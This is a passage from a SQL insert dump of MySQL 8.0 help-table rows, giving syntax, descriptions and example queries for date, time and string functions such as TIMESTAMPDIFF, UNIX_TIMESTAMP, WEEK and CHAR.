FROM_UNIXTIME(1447430881,\n -> \'%Y %D %M %h:%i:%s %x\');\n -> \'2015 13th November 10:08:01 2015\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(144,'GET_FORMAT',14,'Syntax:\nGET_FORMAT({DATE|TIME|DATETIME}, {\'EUR\'|\'USA\'|\'JIS\'|\'ISO\'|\'INTERNAL\'})\n\nReturns a format string. This function is useful in combination with\nthe DATE_FORMAT() and the STR_TO_DATE() functions.\n\nIf format is NULL, this function returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT DATE_FORMAT(\'2003-10-03\',GET_FORMAT(DATE,\'EUR\'));\n -> \'03.10.2003\'\nmysql> SELECT STR_TO_DATE(\'10.31.2003\',GET_FORMAT(DATE,\'USA\'));\n -> \'2003-10-31\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(145,'HOUR',14,'Syntax:\nHOUR(time)\n\nReturns the hour for time. The range of the return value is 0 to 23 for\ntime-of-day values. However, the range of TIME values actually is much\nlarger, so HOUR can return values greater than 23. Returns NULL if time\nis NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT HOUR(\'10:05:03\');\n -> 10\nmysql> SELECT HOUR(\'272:59:59\');\n -> 272\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(146,'LAST_DAY',14,'Syntax:\nLAST_DAY(date)\n\nTakes a date or datetime value and returns the corresponding value for\nthe last day of the month. Returns NULL if the argument is invalid or\nNULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT LAST_DAY(\'2003-02-05\');\n -> \'2003-02-28\'\nmysql> SELECT LAST_DAY(\'2004-02-05\');\n -> \'2004-02-29\'\nmysql> SELECT LAST_DAY(\'2004-01-01 01:01:01\');\n -> \'2004-01-31\'\nmysql> SELECT LAST_DAY(\'2003-03-32\');\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(147,'LOCALTIME',14,'Syntax:\nLOCALTIME, LOCALTIME([fsp])\n\nLOCALTIME and LOCALTIME() are synonyms for NOW().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(148,'LOCALTIMESTAMP',14,'Syntax:\nLOCALTIMESTAMP, LOCALTIMESTAMP([fsp])\n\nLOCALTIMESTAMP and LOCALTIMESTAMP() are synonyms for NOW().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(149,'MAKEDATE',14,'Syntax:\nMAKEDATE(year,dayofyear)\n\nReturns a date, given year and day-of-year values. dayofyear must be\ngreater than 0 or the result is NULL. The result is also NULL if either\nargument is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT MAKEDATE(2011,31), MAKEDATE(2011,32);\n -> \'2011-01-31\', \'2011-02-01\'\nmysql> SELECT MAKEDATE(2011,365), MAKEDATE(2014,365);\n -> \'2011-12-31\', \'2014-12-31\'\nmysql> SELECT MAKEDATE(2011,0);\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(150,'MAKETIME',14,'Syntax:\nMAKETIME(hour,minute,second)\n\nReturns a time value calculated from the hour, minute, and second\narguments. Returns NULL if any of its arguments are NULL.\n\nThe second argument can have a fractional part.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT MAKETIME(12,15,30);\n -> \'12:15:30\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(151,'MICROSECOND',14,'Syntax:\nMICROSECOND(expr)\n\nReturns the microseconds from the time or datetime expression expr as a\nnumber in the range from 0 to 999999. Returns NULL if expr is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT MICROSECOND(\'12:00:00.123456\');\n -> 123456\nmysql> SELECT MICROSECOND(\'2019-12-31 23:59:59.000010\');\n -> 10\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(152,'MINUTE',14,'Syntax:\nMINUTE(time)\n\nReturns the minute for time, in the range 0 to 59, or NULL if time is\nNULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT MINUTE(\'2008-02-03 10:05:03\');\n -> 5\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(153,'MONTH',14,'Syntax:\nMONTH(date)\n\nReturns the month for date, in the range 1 to 12 for January to\nDecember, or 0 for dates such as \'0000-00-00\' or \'2008-00-00\' that have\na zero month part. Returns NULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT MONTH(\'2008-02-03\');\n -> 2\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(154,'MONTHNAME',14,'Syntax:\nMONTHNAME(date)\n\nReturns the full name of the month for date. The language used for the\nname is controlled by the value of the lc_time_names system variable\n(https://dev.mysql.com/doc/refman/8.0/en/locale-support.html). Returns\nNULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT MONTHNAME(\'2008-02-03\');\n -> \'February\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(155,'NOW',14,'Syntax:\nNOW([fsp])\n\nReturns the current date and time as a value in \'YYYY-MM-DD hh:mm:ss\'\nor YYYYMMDDhhmmss format, depending on whether the function is used in\nstring or numeric context. The value is expressed in the session time\nzone.\n\nIf the fsp argument is given to specify a fractional seconds precision\nfrom 0 to 6, the return value includes a fractional seconds part of\nthat many digits.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT NOW();\n -> \'2007-12-15 23:50:26\'\nmysql> SELECT NOW() + 0;\n -> 20071215235026.000000\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(156,'PERIOD_ADD',14,'Syntax:\nPERIOD_ADD(P,N)\n\nAdds N months to period P (in the format YYMM or YYYYMM). Returns a\nvalue in the format YYYYMM.\n\n*Note*:\n\nThe period argument P is not a date value.\n\nThis function returns NULL if P or N is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT PERIOD_ADD(200801,2);\n -> 200803\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(157,'PERIOD_DIFF',14,'Syntax:\nPERIOD_DIFF(P1,P2)\n\nReturns the number of months between periods P1 and P2. P1 and P2\nshould be in the format YYMM or YYYYMM. Note that the period arguments\nP1 and P2 are not date values.\n\nThis function returns NULL if P1 or P2 is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT PERIOD_DIFF(200802,200703);\n -> 11\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(158,'QUARTER',14,'Syntax:\nQUARTER(date)\n\nReturns the quarter of the year for date, in the range 1 to 4, or NULL\nif date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT QUARTER(\'2008-04-01\');\n -> 2\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(159,'SECOND',14,'Syntax:\nSECOND(time)\n\nReturns the second for time, in the range 0 to 59, or NULL if time is\nNULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT SECOND(\'10:05:03\');\n -> 3\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(160,'SEC_TO_TIME',14,'Syntax:\nSEC_TO_TIME(seconds)\n\nReturns the seconds argument, converted to hours, minutes, and seconds,\nas a TIME value. The range of the result is constrained to that of the\nTIME data type. A warning occurs if the argument corresponds to a value\noutside that range.\n\nThe function returns NULL if seconds is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT SEC_TO_TIME(2378);\n -> \'00:39:38\'\nmysql> SELECT SEC_TO_TIME(2378) + 0;\n -> 3938\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(161,'STR_TO_DATE',14,'Syntax:\nSTR_TO_DATE(str,format)\n\nThis is the inverse of the DATE_FORMAT() function. It takes a string\nstr and a format string format. STR_TO_DATE() returns a DATETIME value\nif the format string contains both date and time parts, or a DATE or\nTIME value if the string contains only date or time parts. If str or\nformat is NULL, the function returns NULL. If the date, time, or\ndatetime value extracted from str cannot be parsed according to the\nrules followed by the server, STR_TO_DATE() returns NULL and produces a\nwarning.\n\nThe server scans str attempting to match format to it. The format\nstring can contain literal characters and format specifiers beginning\nwith %. Literal characters in format must match literally in str.\nFormat specifiers in format must match a date or time part in str. For\nthe specifiers that can be used in format, see the DATE_FORMAT()\nfunction description.\n\nmysql> SELECT STR_TO_DATE(\'01,5,2013\',\'%d,%m,%Y\');\n -> \'2013-05-01\'\nmysql> SELECT STR_TO_DATE(\'May 1, 2013\',\'%M %d,%Y\');\n -> \'2013-05-01\'\n\nScanning starts at the beginning of str and fails if format is found\nnot to match. Extra characters at the end of str are ignored.\n\nmysql> SELECT STR_TO_DATE(\'a09:30:17\',\'a%h:%i:%s\');\n -> \'09:30:17\'\nmysql> SELECT STR_TO_DATE(\'a09:30:17\',\'%h:%i:%s\');\n -> NULL\nmysql> SELECT STR_TO_DATE(\'09:30:17a\',\'%h:%i:%s\');\n -> \'09:30:17\'\n\nUnspecified date or time parts have a value of 0, so incompletely\nspecified values in str produce a result with some or all parts set to\n0:\n\nmysql> SELECT STR_TO_DATE(\'abc\',\'abc\');\n -> \'0000-00-00\'\nmysql> SELECT STR_TO_DATE(\'9\',\'%m\');\n -> \'0000-09-00\'\nmysql> SELECT STR_TO_DATE(\'9\',\'%s\');\n -> \'00:00:09\'\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(162,'SUBDATE',14,'Syntax:\nSUBDATE(date,INTERVAL expr unit), SUBDATE(expr,days)\n\nWhen invoked with the INTERVAL form of the second argument, SUBDATE()\nis a synonym for DATE_SUB(). For information on the INTERVAL unit\nargument, see the discussion for DATE_ADD().\n\nmysql> SELECT DATE_SUB(\'2008-01-02\', INTERVAL 31 DAY);\n -> \'2007-12-02\'\nmysql> SELECT SUBDATE(\'2008-01-02\', INTERVAL 31 DAY);\n -> \'2007-12-02\'\n\nThe second form enables the use of an integer value for days. In such\ncases, it is interpreted as the number of days to be subtracted from\nthe date or datetime expression expr.\n\nmysql> SELECT SUBDATE(\'2008-01-02 12:00:00\', 31);\n -> \'2007-12-02 12:00:00\'\n\nThis function returns NULL if any of its arguments are NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(163,'SUBTIME',14,'Syntax:\nSUBTIME(expr1,expr2)\n\nSUBTIME() returns expr1 − expr2 expressed as a value in the same\nformat as expr1. expr1 is a time or datetime expression, and expr2 is a\ntime expression.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT SUBTIME(\'2007-12-31 23:59:59.999999\',\'1 1:1:1.000002\');\n -> \'2007-12-30 22:58:58.999997\'\nmysql> SELECT SUBTIME(\'01:00:00.999999\', \'02:00:00.999998\');\n -> \'-00:59:59.999999\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(164,'SYSDATE',14,'Syntax:\nSYSDATE([fsp])\n\nReturns the current date and time as a value in \'YYYY-MM-DD hh:mm:ss\'\nor YYYYMMDDhhmmss format, depending on whether the function is used in\nstring or numeric context.\n\nIf the fsp argument is given to specify a fractional seconds precision\nfrom 0 to 6, the return value includes a fractional seconds part of\nthat many digits.\n\nSYSDATE() returns the time at which it executes. This differs from the\nbehavior for NOW(), which returns a constant time that indicates the\ntime at which the statement began to execute. (Within a stored function\nor trigger, NOW() returns the time at which the function or triggering\nstatement began to execute.)\n\nmysql> SELECT NOW(), SLEEP(2), NOW();\n+---------------------+----------+---------------------+\n| NOW() | SLEEP(2) | NOW() |\n+---------------------+----------+---------------------+\n| 2006-04-12 13:47:36 | 0 | 2006-04-12 13:47:36 |\n+---------------------+----------+---------------------+\n\nmysql> SELECT SYSDATE(), SLEEP(2), SYSDATE();\n+---------------------+----------+---------------------+\n| SYSDATE() | SLEEP(2) | SYSDATE() |\n+---------------------+----------+---------------------+\n| 2006-04-12 13:47:44 | 0 | 2006-04-12 13:47:46 |\n+---------------------+----------+---------------------+\n\nIn addition, the SET TIMESTAMP statement affects the value returned by\nNOW() but not by SYSDATE(). This means that timestamp settings in the\nbinary log have no effect on invocations of SYSDATE().\n\nBecause SYSDATE() can return different values even within the same\nstatement, and is not affected by SET TIMESTAMP, it is nondeterministic\nand therefore unsafe for replication if statement-based binary logging\nis used. If that is a problem, you can use row-based logging.\n\nAlternatively, you can use the --sysdate-is-now option to cause\nSYSDATE() to be an alias for NOW(). This works if the option is used on\nboth the replication source server and the replica.\n\nThe nondeterministic nature of SYSDATE() also means that indexes cannot\nbe used for evaluating expressions that refer to it.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(165,'TIME FUNCTION',14,'Syntax:\nTIME(expr)\n\nExtracts the time part of the time or datetime expression expr and\nreturns it as a string. Returns NULL if expr is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT TIME(\'2003-12-31 01:02:03\');\n -> \'01:02:03\'\nmysql> SELECT TIME(\'2003-12-31 01:02:03.000123\');\n -> \'01:02:03.000123\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(166,'TIMEDIFF',14,'Syntax:\nTIMEDIFF(expr1,expr2)\n\nTIMEDIFF() returns expr1 − expr2 expressed as a time value. expr1 and\nexpr2 are strings which are converted to TIME or DATETIME expressions;\nthese must be of the same type following conversion. Returns NULL if\nexpr1 or expr2 is NULL.\n\nThe result returned by TIMEDIFF() is limited to the range allowed for\nTIME values. Alternatively, you can use either of the functions\nTIMESTAMPDIFF() and UNIX_TIMESTAMP(), both of which return integers.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT TIMEDIFF(\'2000-01-01 00:00:00\',\n -> \'2000-01-01 00:00:00.000001\');\n -> \'-00:00:00.000001\'\nmysql> SELECT TIMEDIFF(\'2008-12-31 23:59:59.000001\',\n -> \'2008-12-30 01:01:01.000002\');\n -> \'46:58:57.999999\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(167,'TIMESTAMP FUNCTION',14,'Syntax:\nTIMESTAMP(expr), TIMESTAMP(expr1,expr2)\n\nWith a single argument, this function returns the date or datetime\nexpression expr as a datetime value. With two arguments, it adds the\ntime expression expr2 to the date or datetime expression expr1 and\nreturns the result as a datetime value. Returns NULL if expr, expr1, or\nexpr2 is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT TIMESTAMP(\'2003-12-31\');\n -> \'2003-12-31 00:00:00\'\nmysql> SELECT TIMESTAMP(\'2003-12-31 12:00:00\',\'12:00:00\');\n -> \'2004-01-01 00:00:00\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(168,'TIMESTAMPADD',14,'Syntax:\nTIMESTAMPADD(unit,interval,datetime_expr)\n\nAdds the integer expression interval to the date or datetime expression\ndatetime_expr. The unit for interval is given by the unit argument,\nwhich should be one of the following values: MICROSECOND\n(microseconds), SECOND, MINUTE, HOUR, DAY, WEEK, MONTH, QUARTER, or\nYEAR.\n\nThe unit value may be specified using one of keywords as shown, or with\na prefix of SQL_TSI_. For example, DAY and SQL_TSI_DAY both are legal.\n\nThis function returns NULL if interval or datetime_expr is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT TIMESTAMPADD(MINUTE, 1, \'2003-01-02\');\n -> \'2003-01-02 00:01:00\'\nmysql> SELECT TIMESTAMPADD(WEEK,1,\'2003-01-02\');\n -> \'2003-01-09\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(169,'TIMESTAMPDIFF',14,'Syntax:\nTIMESTAMPDIFF(unit,datetime_expr1,datetime_expr2)\n\nReturns datetime_expr2 − datetime_expr1, where datetime_expr1 and\ndatetime_expr2 are date or datetime expressions. One expression may be\na date and the other a datetime; a date value is treated as a datetime\nhaving the time part \'00:00:00\' where necessary. The unit for the\nresult (an integer) is given by the unit argument. The legal values for\nunit are the same as those listed in the description of the\nTIMESTAMPADD() function.\n\nThis function returns NULL if datetime_expr1 or datetime_expr2 is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT TIMESTAMPDIFF(MONTH,\'2003-02-01\',\'2003-05-01\');\n -> 3\nmysql> SELECT TIMESTAMPDIFF(YEAR,\'2002-05-01\',\'2001-01-01\');\n -> -1\nmysql> SELECT TIMESTAMPDIFF(MINUTE,\'2003-02-01\',\'2003-05-01 12:05:55\');\n -> 128885\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(170,'TIME_FORMAT',14,'Syntax:\nTIME_FORMAT(time,format)\n\nThis is used like the DATE_FORMAT() function, but the format string may\ncontain format specifiers only for hours, minutes, seconds, and\nmicroseconds. Other specifiers produce a NULL or 0. TIME_FORMAT()\nreturns NULL if time or format is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT TIME_FORMAT(\'100:00:00\', \'%H %k %h %I %l\');\n -> \'100 100 04 04 4\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(171,'TIME_TO_SEC',14,'Syntax:\nTIME_TO_SEC(time)\n\nReturns the time argument, converted to seconds. Returns NULL if time\nis NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT TIME_TO_SEC(\'22:23:00\');\n -> 80580\nmysql> SELECT TIME_TO_SEC(\'00:39:38\');\n -> 2378\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(172,'TO_DAYS',14,'Syntax:\nTO_DAYS(date)\n\nGiven a date date, returns a day number (the number of days since year\n0). Returns NULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT TO_DAYS(950501);\n -> 728779\nmysql> SELECT TO_DAYS(\'2007-10-07\');\n -> 733321\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(173,'TO_SECONDS',14,'Syntax:\nTO_SECONDS(expr)\n\nGiven a date or datetime expr, returns the number of seconds since the\nyear 0. If expr is not a valid date or datetime value (including NULL),\nit returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT TO_SECONDS(950501);\n -> 62966505600\nmysql> SELECT TO_SECONDS(\'2009-11-29\');\n -> 63426672000\nmysql> SELECT TO_SECONDS(\'2009-11-29 13:43:32\');\n -> 63426721412\nmysql> SELECT TO_SECONDS( NOW() );\n -> 63426721458\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(174,'UNIX_TIMESTAMP',14,'Syntax:\nUNIX_TIMESTAMP([date])\n\nIf UNIX_TIMESTAMP() is called with no date argument, it returns a Unix\ntimestamp representing seconds since \'1970-01-01 00:00:00\' UTC.\n\nIf UNIX_TIMESTAMP() is called with a date argument, it returns the\nvalue of the argument as seconds since \'1970-01-01 00:00:00\' UTC. The\nserver interprets date as a value in the session time zone and converts\nit to an internal Unix timestamp value in UTC. (Clients can set the\nsession time zone as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/time-zone-support.html.) The\ndate argument may be a DATE, DATETIME, or TIMESTAMP string, or a number\nin YYMMDD, YYMMDDhhmmss, YYYYMMDD, or YYYYMMDDhhmmss format. If the\nargument includes a time part, it may optionally include a fractional\nseconds part.\n\nThe return value is an integer if no argument is given or the argument\ndoes not include a fractional seconds part, or DECIMAL if an argument\nis given that includes a fractional seconds part.\n\nWhen the date argument is a TIMESTAMP column, UNIX_TIMESTAMP() returns\nthe internal timestamp value directly, with no implicit\n\"string-to-Unix-timestamp\" conversion.\n\nPrior to MySQL 8.0.28, the valid range of argument values is the same\nas for the TIMESTAMP data type: \'1970-01-01 00:00:01.000000\' UTC to\n\'2038-01-19 03:14:07.999999\' UTC. This is also the case in MySQL 8.0.28\nand later for 32-bit platforms. For MySQL 8.0.28 and later running on\n64-bit platforms, the valid range of argument values for\nUNIX_TIMESTAMP() is \'1970-01-01 00:00:01.000000\' UTC to \'3001-01-19\n03:14:07.999999\' UTC (corresponding to 32536771199.999999 seconds).\n\nRegardless of MySQL version or platform architecture, if you pass an\nout-of-range date to UNIX_TIMESTAMP(), it returns 0. If date is NULL,\nit returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT UNIX_TIMESTAMP();\n -> 1447431666\nmysql> SELECT UNIX_TIMESTAMP(\'2015-11-13 10:20:19\');\n -> 1447431619\nmysql> SELECT UNIX_TIMESTAMP(\'2015-11-13 10:20:19.012\');\n -> 1447431619.012\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(175,'UTC_DATE',14,'Syntax:\nUTC_DATE, UTC_DATE()\n\nReturns the current UTC date as a value in \'YYYY-MM-DD\' or YYYYMMDD\nformat, depending on whether the function is used in string or numeric\ncontext.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT UTC_DATE(), UTC_DATE() + 0;\n -> \'2003-08-14\', 20030814\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(176,'UTC_TIME',14,'Syntax:\nUTC_TIME, UTC_TIME([fsp])\n\nReturns the current UTC time as a value in \'hh:mm:ss\' or hhmmss format,\ndepending on whether the function is used in string or numeric context.\n\nIf the fsp argument is given to specify a fractional seconds precision\nfrom 0 to 6, the return value includes a fractional seconds part of\nthat many digits.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT UTC_TIME(), UTC_TIME() + 0;\n -> \'18:07:53\', 180753.000000\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(177,'UTC_TIMESTAMP',14,'Syntax:\nUTC_TIMESTAMP, UTC_TIMESTAMP([fsp])\n\nReturns the current UTC date and time as a value in \'YYYY-MM-DD\nhh:mm:ss\' or YYYYMMDDhhmmss format, depending on whether the function\nis used in string or numeric context.\n\nIf the fsp argument is given to specify a fractional seconds precision\nfrom 0 to 6, the return value includes a fractional seconds part of\nthat many digits.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT UTC_TIMESTAMP(), UTC_TIMESTAMP() + 0;\n -> \'2003-08-14 18:08:04\', 20030814180804.000000\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(178,'WEEK',14,'Syntax:\nWEEK(date[,mode])\n\nThis function returns the week number for date. The two-argument form\nof WEEK() enables you to specify whether the week starts on Sunday or\nMonday and whether the return value should be in the range from 0 to 53\nor from 1 to 53. If the mode argument is omitted, the value of the\ndefault_week_format system variable is used. See\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\nFor a NULL date value, the function returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT WEEK(\'2008-02-20\');\n -> 7\nmysql> SELECT WEEK(\'2008-02-20\',0);\n -> 7\nmysql> SELECT WEEK(\'2008-02-20\',1);\n -> 8\nmysql> SELECT WEEK(\'2008-12-31\',1);\n -> 53\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(179,'WEEKDAY',14,'Syntax:\nWEEKDAY(date)\n\nReturns the weekday index for date (0 = Monday, 1 = Tuesday, ... 6 =\nSunday). Returns NULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT WEEKDAY(\'2008-02-03 22:23:00\');\n -> 6\nmysql> SELECT WEEKDAY(\'2007-11-06\');\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(180,'WEEKOFYEAR',14,'Syntax:\nWEEKOFYEAR(date)\n\nReturns the calendar week of the date as a number in the range from 1\nto 53. Returns NULL if date is NULL.\n\nWEEKOFYEAR() is a compatibility function that is equivalent to\nWEEK(date,3).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT WEEKOFYEAR(\'2008-02-20\');\n -> 8\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(181,'YEAR',14,'Syntax:\nYEAR(date)\n\nReturns the year for date, in the range 1000 to 9999, or 0 for the\n\"zero\" date. Returns NULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT YEAR(\'1987-01-01\');\n -> 1987\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(182,'YEARWEEK',14,'Syntax:\nYEARWEEK(date), YEARWEEK(date,mode)\n\nReturns year and week for a date. The year in the result may be\ndifferent from the year in the date argument for the first and the last\nweek of the year. Returns NULL if date is NULL.\n\nThe mode argument works exactly like the mode argument to WEEK(). For\nthe single-argument syntax, a mode value of 0 is used. Unlike WEEK(),\nthe value of default_week_format does not influence YEARWEEK().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT YEARWEEK(\'1987-01-01\');\n -> 198652\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(183,'ASCII',15,'Syntax:\nASCII(str)\n\nReturns the numeric value of the leftmost character of the string str.\nReturns 0 if str is the empty string. Returns NULL if str is NULL.\nASCII() works for 8-bit characters.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT ASCII(\'2\');\n -> 50\nmysql> SELECT ASCII(2);\n -> 50\nmysql> SELECT ASCII(\'dx\');\n -> 100\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(184,'BIN',15,'Syntax:\nBIN(N)\n\nReturns a string representation of the binary value of N, where N is a\nlonglong (BIGINT) number. This is equivalent to CONV(N,10,2). Returns\nNULL if N is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT BIN(12);\n -> \'1100\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(185,'BIT_LENGTH',15,'Syntax:\nBIT_LENGTH(str)\n\nReturns the length of the string str in bits. Returns NULL if str is\nNULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT BIT_LENGTH(\'text\');\n -> 32\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(186,'CHAR FUNCTION',15,'Syntax:\nCHAR(N,... [USING charset_name])\n\nCHAR() interprets each argument N as an integer and returns a string\nconsisting of the characters given by the code values of those\nintegers. NULL values are skipped.\n\nBy default, CHAR() returns a binary string. To produce a string in a\ngiven character set, use the optional USING clause:\n\nmysql> SELECT CHAR(77,121,83,81,\'76\' USING utf8mb4);\n+---------------------------------------+\n| CHAR(77,121,83,81,\'76\' USING utf8mb4) |\n+---------------------------------------+\n| MySQL |\n+---------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT CHAR(77,77.3,\'77.3\' USING utf8mb4);\n+------------------------------------+\n| CHAR(77,77.3,\'77.3\' USING utf8mb4) |\n+------------------------------------+\n| MMM |\n+------------------------------------+\n1 row in set, 1 warning (0.00 sec)\n\nmysql> SHOW WARNINGS;\n+---------+------+-------------------------------------------+\n| Level | Code | Message |\n+---------+------+-------------------------------------------+\n| Warning | 1292 | Truncated incorrect INTEGER value: \'77.3\' |\n+---------+------+-------------------------------------------+\n1 row in set (0.00 sec)\n\nIf USING is given and the result string is illegal for the given\ncharacter set, a warning is issued. Also, if strict SQL mode is\nenabled, the result from CHAR() becomes NULL.\n\nIf CHAR() is invoked from within the mysql client, binary strings\ndisplay using hexadecimal notation, depending on the value of the\n--binary-as-hex. For more information about that option, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql.html.\n\nCHAR() arguments larger than 255 are converted into multiple result\nbytes. For example, CHAR(256) is equivalent to CHAR(1,0), and\nCHAR(256*256) is equivalent to CHAR(1,0,0):\n\nmysql> SELECT HEX(CHAR(1,0)), HEX(CHAR(256));\n+----------------+----------------+\n| HEX(CHAR(1,0)) | HEX(CHAR(256)) |\n+----------------+----------------+\n| 0100 | 0100 |\n+----------------+----------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT HEX(CHAR(1,0,0)), HEX(CHAR(256*256));\n+------------------+--------------------+\n| HEX(CHAR(1,0,0)) | HEX(CHAR(256*256)) |\n+------------------+--------------------+\n| 010000 | 010000 |\n+------------------+--------------------+\n1 row in 